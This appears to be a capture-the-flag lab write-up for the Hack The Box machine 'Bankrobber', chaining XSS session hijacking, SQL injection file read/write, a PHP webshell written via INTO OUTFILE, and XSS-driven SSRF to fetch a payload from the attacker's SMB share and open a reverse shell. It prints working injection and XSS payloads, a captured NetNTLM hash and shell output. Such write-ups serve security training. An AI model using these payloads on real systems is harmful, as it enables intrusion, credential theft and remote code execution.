Assessment
The current assessment is fairly complex.
-
i was able to [[bankrobber_xss#session hijacking|hijack]] the admin session through XSS present at the
comment
parameter of the transaction feature. -
With the stolen admin credential, I was able to sign-in to the admin panel, where I was presented with a search feature that was vulnerable to SQLi. The admin panel also appeared to have a very limited administrative shell that can only be accessed from localhost
-
Through SQLi, I was able to get the DB credential and an idea of how the Database server is configured. The DB credential that I extracted through SQLi is the
root
user with the highest privileges.
All things combined together, I would be able to create an exploit change to gain a foothold on the target system
# SQLi to SSRF through XSS to RCE
SQLi
There is more to SQL Injection other than just straight up enumerating a database.
I can read and even write to a file on a remote system if set correctly with privileges
For being the root
user, I am likely able to do that.
File Read
' UNION SELECT LOAD_FILE('C:\\xampp\\htdocs\\notes.txt'), 1, 1#
The first one is file read.
The method works by using the MySQL’s load_file()
function.
It can be used to read any file in the system as long as the permission set allows
I guessed the absolute path of the /notes.txt
file as it implied that the web application is installed at the default Xampp directory
The MySQL’s load_file()
function can also be used to steal the authentication hash.
It’s basically authentication hijacking.
' UNION SELECT LOAD_FILE('\\\\10.10.14.10\blahblah'),1,1#
It works by having the web server connect to the attacker’s malicious server through the MySQL’s load_file()
function
┌──(kali㉿kali)-[~/archive/htb/labs/bankrobber]
└─$ simplesmb . -smb2support
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation
[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed
[*] Incoming connection (10.10.10.154,51213)
[*] AUTHENTICATE_MESSAGE (BANKROBBER\Cortin,BANKROBBER)
[*] User BANKROBBER\Cortin authenticated successfully
[*] Cortin::BANKROBBER:aaaaaaaaaaaaaaaa:7a6458caa6dda83fd85317d273d55869:01010000000000000061d05a822fd9018dbdd23845c237b6000000000100100067005800610047004500530049006e000300100067005800610047004500530049006e0002001000480054005700560044005a0070006a0004001000480054005700560044005a0070006a00070008000061d05a822fd901060004000200000008003000300000000000000000000000002000009574c0a80cdd2a0c4c2563442cdbd86a53dc1c73b8cc221f8c9a9b97954d18be0a001000000000000000000000000000000000000900200063006900660073002f00310030002e00310030002e00310034002e0031003000000000000000000000000000
[*] Connecting Share(1:IPC$)
[*] Connecting Share(2:smb)
Unfortunately, for that password hash, I was unable to crack it.
But I know now that the web server is running as the Cortin
user. That’s a new user name.
File Write
Another thing that can be done via SQLi is file write with theinto outfile
function
' union select "this has been written through the sql file write", 1, 1 into outfile 'c:\\xampp\\htdocs\\admin\\test.txt' #
The error notes that there is something wrong with the SQL syntax, but there isn’t any.
The likely issue is due to how the permission bits are set in that directory.
' union select "this has been written through the sql file write", 1, 1 into outfile 'c:\\xampp\\phpmyadmin\\test.txt' #
after a lot of trials and errors, i was able to write to the /phpmyadmin/
directory, whom its absolute path is c:\xampp\phpmyadmin
i found out about the absolute path of phpmyadmin with the xampp installation
Attempting to check the
/phpmyadmin/test.txt
file through a browser fails as the instance only allows access from the local network
I can still check it through the MySQL’s
load_file()
function
Webshell
' UNION SELECT "<?php system($_GET['cmd']); ?>", 1, 1 INTO OUTFILE 'C:\\xampp\\phpmyadmin\\webshell.php' #
*I need to be extra attentive while working with PHP webshell with SQL as they both have special characters reserved *
At this point, I can probably plant a webshell at the /phpmyadmin/
directory through the MySQL’s into outfile
function.
So I did as shown above.
However, two problems raise
- MySQL is a database management system and does NOT execute PHP code.
- The
/phpmyadmin/
directory can ONLY be accessed through the local network
The first problem is solid. There is no way around it. I can only use SQLi to write a webshell The second problem could be solve as it might be possible to perform SSRF from the earlier XSS, but this would requires an additional payload than a simple web shell.
The idea is to conduct SSRF through XSS to have the admin session execute a system command via the planted PHP webshell to download and execute a payload. This is done under the impression that the admin session is indeed LOCAL. Otherwise the SSRF portion of the exploit would fail.
SSRF through XXS
┌──(kali㉿kali)-[~/archive/htb/labs/bankrobber]
└─$ simplesmb . -smb2support
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation
[*] Config file parsed
[*] callback added for uuid 4b324fc8-1670-01d3-1278-5a47bf6ee188 v:3.0
[*] callback added for uuid 6bffd098-a112-3610-9833-46c3f87e345a v:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed
I will first start a SMB server on Kali, hosting the payload
Payload Delivery
<img src="A" onerror="this.src='http://localhost/phpmyadmin/webshell.php?cmd=copy+\\\\10.10.14.10\\smb\\shell.exe+C:\\xampp\\phpmyadmin\\shell.exe'" />
This XSS causes the admin session to load an arbitrary image from the source, "A"
, or alternatively from the location where the planted webshell is, which is/phpmyadmin/rce.php?cmd=copy+\\\\10.10.14.10\\smb\\shell.exe
. That is where SSRF kicks in. Because the admin session is presumably LOCAL, it will execute the system command through the planted webshell to fetch the payload over SMB and save it to C:\xampp\phpmyadmin\shell.exe
This was very unreliable as I had to send the request multiple times without any sign. The process that makes the admin session to review and authorize the transfer form wasn’t being executed it quick enough as was severely delayed and even canceled. It’s likely designed this way by the author to perform the process with a specific time frame to mimic the actual environment.
Nonetheless, the local SMB server receives the connection from the target web server by the admin session
Delivery is complete.
The payload should now be available and ready for execution on the target system
Payload Execution
<img src="a" onerror="this.src='http://localhost/phpmyadmin/webshell.php?cmd=C:\\xampp\\phpmyadmin\\shell.exe'" />
The XSS above contains a SSRF exploit to execute the payload
It’s pretty much the same as the one before
Instead of delivering the payload, it executes it
It took LOTs of waiting.
Finally.
┌──(kali㉿kali)-[~/archive/htb/labs/bankrobber]
└─$ nnc 9999
listening on [any] 9999 ...
connect to [10.10.14.10] from (UNKNOWN) [10.10.10.154] 49709
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. Alle rechten voorbehouden.
c:\xampp\phpMyAdmin> whoami
whoami
bankrobber\cortin
c:\xampp\phpMyAdmin> hostname
hostname
Bankrobber
c:\xampp\phpMyAdmin> ipconfig
ipconfig
Windows IP Configuration
ethernet adapter ethernet0 2:
connection-specific dns suffix . : htb
ipv6 address. . . . . . . . . . . : dead:beef::21e
ipv6 address. . . . . . . . . . . : dead:beef::141d:3776:23f6:cb98
temporary ipv6 address. . . . . . : dead:beef::7883:7206:63c5:55a8
link-local ipv6 address . . . . . : fe80::141d:3776:23f6:cb98%2
ipv4 address. . . . . . . . . . . : 10.10.10.154
subnet mask . . . . . . . . . . . : 255.255.255.0
default gateway . . . . . . . . . : fe80::250:56ff:feb9:6c92%2
10.10.10.2
tunnel adapter isatap.{0637fae2-5ef8-43f7-adac-e58020091a92}:
media state . . . . . . . . . . . : Media disconnected
connection-specific dns suffix . : htb
Initial Foothold established to the target system as the cortin
user via SQLi-XXS-SSRF-RCE chain attack.
The very first thing that I would like to do is to establish either a persistence or an easy-to-access backdoor.